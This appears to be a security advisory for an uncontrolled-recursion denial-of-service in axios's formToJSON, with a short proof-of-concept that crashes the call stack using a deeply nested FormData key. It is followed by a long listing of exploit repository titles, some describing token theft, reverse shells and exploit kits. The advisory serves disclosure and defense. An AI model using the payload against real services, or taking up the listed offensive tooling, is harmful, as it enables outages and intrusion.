## Summary Axios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`. If an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination. ## Impact Applications are affected only when untrusted users can control `FormData` key names that are converted through axios. Affected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`. The observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour. ## Affected Functionality Affected functionality: - `axios.formToJSON(formData)` - Named ESM export `formToJSON` - Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json` Unaffected functionality: - Normal multipart `FormData` submission without JSON serialisation - `toFormData`, which already enforces a `maxDepth` guard - Axios versions `<=0.27.2`, where `formDataToJSON` was not present ## Technical Details The vulnerable code is in `lib/helpers/formDataToJSON.js`. `parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth: ```js const result = buildPath(path, value, target[name], index); ``` A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit. Relevant source locations: - `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`. - `lib/axios.js` exposes the helper as `axios.formToJSON`. - `index.js` exposes `formToJSON` as a named export. - `index.d.ts` and `index.d.cts` declare the public API. - `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`. The inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard. ## Proof of Concept of Attack ```js import axios from 'axios'; const fd = new FormData(); fd.append('a' + '[x]'.repeat(15000), 'value'); try { axios.formToJSON(fd); console.log('not vulnerable'); } catch (e) { console.log(`${e.constructor.name}: ${e.message}`); } ``` Expected result on affected versions: RangeError: Maximum call stack size exceeded The same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`. ## Workarounds Applications can reject or normalise untrusted form field names before calling `axios.formToJSON()`. Applications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required. Applications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`. <details> <summary>Original Source</summary> ### Summary An uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard. ### Details **Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82. `buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check: ```javascript // lib/helpers/formDataToJSON.js, lines 50–82 function buildPath(path, value, target, index) { let name = path[index++]; // advance one level if (name === '__proto__') return true; // ... if (!isLast) { // ... const result = buildPath(path, value, target[name], index); // recurse — NO depth guard // ... } } ``` The key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames). **`formDataToJSON` is a public API** consumed two ways: 1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`). 2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`: ```javascript return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; ``` **Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection. ### PoC Requires only Node.js and an unmodified axios v1.x install: ```javascript import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js'; // Build a FormData with a single key containing 15,000 nested bracket segments const fd = new FormData(); const key = "a" + "[x]".repeat(15000); fd.append(key, "value"); try { formDataToJSON(fd); console.log("Not vulnerable"); } catch (e) { console.log(e.constructor.name + ": " + e.message); // RangeError: Maximum call stack size exceeded } ``` Verified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD): ``` RangeError: Maximum call stack size exceeded ``` The process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process. ### Impact **Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name. </details>
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: cve-2024-55591-poc
Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.
PoC: cve-2026-82329-jfrog-artifactory
CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis
PoC: CVE-2026-82592
D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: cve-writeups-and-pocs
CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)
PoC: CVE-2026-79483-FastGPT-NoSQL-Injection
FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)
PoC: givewp-cve-2026-82222-rce-lab
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
PoC: CVE-2026-19745
Learn how I found my first two CVEs by pure accident.
PoC: cve-2026-23989-opencloud-lab
Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: root-s24-e1s
Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app
PoC: CVE-2024-49138-SOC-Investigation
SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.
PoC: gha-lab-ee08e207a8
Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml
PoC: CVE-2026-24061-Telnetd
CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass
PoC: Fortigate-SSL-VPN-Exploit-Kit
The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.
PoC: CVE-2026-33017
CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.
PoC: CVE-2026-13753-poc
Poc of CVE-2026-13753
PoC: CVE-2026-82221
PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin
PoC: ActiveMQ-CVE-2023-46604
Exploit POC for Apache ActiveMQ CVE-2023-46604
PoC: gha-lab-0ba60e6456
Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)
PoC: CVE-2026-36130
CVE-2026-36130
PoC: CVE-2026-31321
CVE-2026-31321
PoC: postgresql-cve-2026-14662
PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料
PoC: CVE-2026-27472-and-CVE-2026-27474
PoC for CVE-2026-27472 and CVE-2026-27474
PoC: CVE-2026-27475
PoC for CVE-2026-27475
PoC: CVE-2026-18963
Unauthenticated account takeover via reset-credentials flow bypass
PoC: CVE-2026-0768
CVE-2026-0768 - Draft or TODO
PoC: CVE-2026-82329
CVE-2026-82329 - Draft or TODO
PoC: tomcat-line-check
CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.
PoC: log4j2-vuln-lab
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
PoC: CVE-2021-3493-Exploit
It's a CVE-2021-3493 Exploit written in C
PoC: gha-lab-8e9316151c
Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App（Shizuku 授权 shell 域执行，CVE-2026-43499）
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-
Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).
PoC: CVE-2026-76581-Detector
Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.
PoC: htb-machine-ringdown
Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.
PoC: gha-lab-83342297e0
Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.
PoC: WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
PoC: phpBB-CVE-2026-48611
Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass
PoC: Project-CVE-2026-45833
CVE-2026-45833 ChromaDB
PoC: CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.
PoC: CVE-2026-76581
CVE-2026-76581
PoC: drupalgeddon2-cve-lab
Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab
PoC: shellshock-cve-lab
Shellshock CVE-2014-6271 vulnerable CGI lab
PoC: log4shell-cve-lab
Log4Shell CVE-2021-44228 vulnerable lab
PoC: CVE-2026-18741
PoC CVE-2026-18741
PoC: CVE-2026-12513
CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).
PoC: ghostlock-oppo-watch3pro
CVE-2026-43499 on OPPO Watch 3 Pro
PoC: cve-2026-82222-poc
Public PoC for CVE-2026-82222
PoC: zk-xml-probe
Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).
PoC: SOC335-CVE-2024-49138-Investigation
SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.
PoC: papercut-toolkit
#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained
PoC: PaperCut-CVE-2026-81578-82078
Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078
PoC: vankyo-s30-bootloader-unlock
Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: hdwebmobile-formula-pricing
WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE
PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write
CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.
PoC: CVE-2026-24061-payload
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
PoC: rmgp-complete-handoff
Complete RMGP (CVE-2026-43499) workspace + experiment-state handoff for SM-A376B/A376BXXU1AZB7
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
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